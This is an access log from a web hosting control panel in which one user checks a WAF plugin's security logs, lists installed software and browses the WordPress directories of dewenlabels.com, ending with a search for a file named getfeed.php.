["2026-03-10 09:44:23", "58.209.19.68:2628", "GET", "/free_waf/static/font_1474105_ofrmqg44wnb.css?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 3104, "text/css; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:23", "58.209.19.68:2627", "GET", "/free_waf/static/jquery.fixedheadertable.min.js?_=1773106658863", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 10, 200, 3378, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:24", "58.209.19.68:2627", "POST", "/plugin?action=a&name=free_waf&s=return_site", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 10, 200, 76, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:25", "58.209.19.68:2628", "POST", "/plugin?action=a&name=free_waf&s=get_total_all", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 445, 200, 350, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:27", "58.209.19.68:2628", "POST", "/plugin?action=a&name=free_waf&s=get_site_config", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 14, 200, 545, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:32", "58.209.19.68:2628", "POST", "/plugin?action=a&name=free_waf&s=get_logs_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'siteName': 'dewenlabels.com'}", 14, 200, 420, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:32", "58.209.19.68:2628", "POST", "/plugin?action=a&name=free_waf&s=get_safe_logs", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'siteName': 'dewenlabels.com', 'toDate': '2026-03-10', 'p': '1'}", 45, 200, 12873, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:49", "58.209.19.68:2628", "GET", "/soft/other?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 40, 200, 2668, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:49", "58.209.19.68:2628", "GET", "/soft/static/js/main.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 38457, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:49", "58.209.19.68:2627", "GET", "/soft/static/css/style.css?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 164183, "text/css; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:51", "58.209.19.68:2614", "GET", "/soft/static/js/__commonjsHelpers__.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 272, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:51", "58.209.19.68:2617", "GET", "/soft/static/js/utils-lib.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 341514, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:51", "58.209.19.68:2628", "GET", "/soft/static/js/base-lib.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 211771, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2628", "GET", "/soft/static/js/index78.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 285, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2627", "GET", "/soft/static/js/index80.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1177, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2617", "GET", "/soft/static/js/index98.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 6043, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2617", "GET", "/soft/static/js/index102.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 309, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2628", "GET", "/soft/static/js/validator.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 19582, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:58", "58.209.19.68:2627", "GET", "/soft/static/js/hooks.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 389, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2617", "GET", "/soft/static/js/index103.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 385, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2627", "GET", "/soft/static/js/index104.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 420, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2628", "GET", "/soft/static/js/index105.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 274, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2617", "GET", "/soft/static/js/index106.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 445, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2627", "GET", "/soft/static/js/index107.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 489, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2628", "GET", "/soft/static/js/column.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 3397, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2617", "GET", "/soft/static/js/index110.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 359, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:44:59", "58.209.19.68:2627", "GET", "/soft/static/js/index111.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1912, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2628", "GET", "/soft/static/js/index112.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 776, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2617", "GET", "/soft/static/js/index114.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 956, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2627", "GET", "/soft/static/js/index380.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1676, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2628", "GET", "/soft/static/js/index381.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 571, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2628", "GET", "/software?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 1514, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2773", "POST", "/config?action=get_nps", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'version': '-1', 'product_type': '0', 'software_name': 'panel'}", 2, 200, 31, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2752", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '10', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 18, 200, 7460, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:00", "58.209.19.68:2614", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 62, 200, 1657, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:01", "58.209.19.68:2752", "GET", "/soft/static/font/svgtofont.woff2?t=1747810202915", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 53888, "application/octet-stream", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:01", "58.209.19.68:2773", "POST", "/plugin?action=get_soft_list_thread", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'cid': '04769986780484'}", 20, 200, 29, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:02", "58.209.19.68:2773", "POST", "/plugin?action=push_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 6, 200, 510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:02", "58.209.19.68:2628", "POST", "/plugin?action=get_usually_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 9, 200, 2431, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:04", "58.209.19.68:2773", "GET", "/soft/static/js/index177.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1039, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2752", "GET", "/soft/static/js/index68.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 310, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2773", "GET", "/soft/static/js/index69.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 3022, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2752", "GET", "/soft/static/images/soft_ico/hot.png?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 357, "image/png", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2628", "GET", "/soft/static/images/soft_ico/hots.png?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 4184, "image/png", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2752", "GET", "/soft/static/js/index120.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1188, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2628", "GET", "/soft/static/js/index.vue_vue_type_script_setup_true_lang6.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1072, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:06", "58.209.19.68:2773", "GET", "/soft/static/js/site.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 11664, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:07", "58.209.19.68:2627", "GET", "/soft/static/js/index134.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1619, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:07", "58.209.19.68:2752", "GET", "/soft/static/js/index143.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 447, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:07", "58.209.19.68:2614", "GET", "/soft/static/js/index.vue_vue_type_style_index_0_scoped_cdc7f4d3_lang.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:07", "58.209.19.68:2627", "GET", "/soft/static/js/useController6.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 4390, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:07", "58.209.19.68:2628", "GET", "/soft/static/js/useStore4.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 1771, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:08", "58.209.19.68:2752", "GET", "/soft/static/js/useController5.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 5029, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:08", "58.209.19.68:2627", "GET", "/soft/static/js/index133.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 720, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:08", "58.209.19.68:2628", "GET", "/soft/static/js/useMethod5.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 2159, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:08", "58.209.19.68:2752", "GET", "/soft/static/js/index127.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1050, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:08", "58.209.19.68:2627", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 52, 200, 1657, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2628", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 6, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2752", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'web'}", 4, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2627", "GET", "/soft/static/js/index358.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 3447, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2614", "GET", "/soft/static/js/index208.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 822, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2773", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 11, 200, 489, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:09", "58.209.19.68:2627", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 29, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:10", "58.209.19.68:2614", "GET", "/soft/static/js/index37.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 17038, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2773", "GET", "/soft/static/js/vue-virtual-scroller.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2627", "GET", "/soft/static/js/vue-virtual-scroller.esm.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 5555, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2617", "GET", "/soft/static/js/default.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 2249, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2628", "GET", "/soft/static/js/file-icon.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2614", "GET", "/soft/static/js/store.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 50079, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:13", "58.209.19.68:2752", "GET", "/soft/static/js/files.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 1579, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:15", "58.209.19.68:2614", "GET", "/soft/static/js/store2.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 3952, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:15", "58.209.19.68:2614", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 51, 200, 1658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2614", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 13, 200, 322, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2627", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'status': '-3'}", 5, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2773", "GET", "/soft/static/js/index118.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 6171, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 7, 200, 1064, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2614", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 8, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:16", "58.209.19.68:2628", "POST", "/files?action=get_files_store", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:17", "58.209.19.68:2627", "GET", "/soft/static/images/file_icon/icon-new-file-unlock.svg?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 429, "image/svg+xml; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:21", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 6, 200, 648, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:21", "58.209.19.68:2773", "POST", "/files?action=get_images_resize", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'return_type': 'base64', 'height': '45', 'width': '45', 'files': 'logo.jpg', 'path': '/www/wwwroot/dewenlabels.com/wp-content'}", 3, 200, 77, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:23", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 6, 200, 1064, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:24", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes'}", 16, 200, 5157, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:27", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': 'getfeed.php', 'all': 'True'}", 22, 200, 534, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:28", "58.209.19.68:2773", "GET", "/soft/static/js/index256.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 16, 200, 18693, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
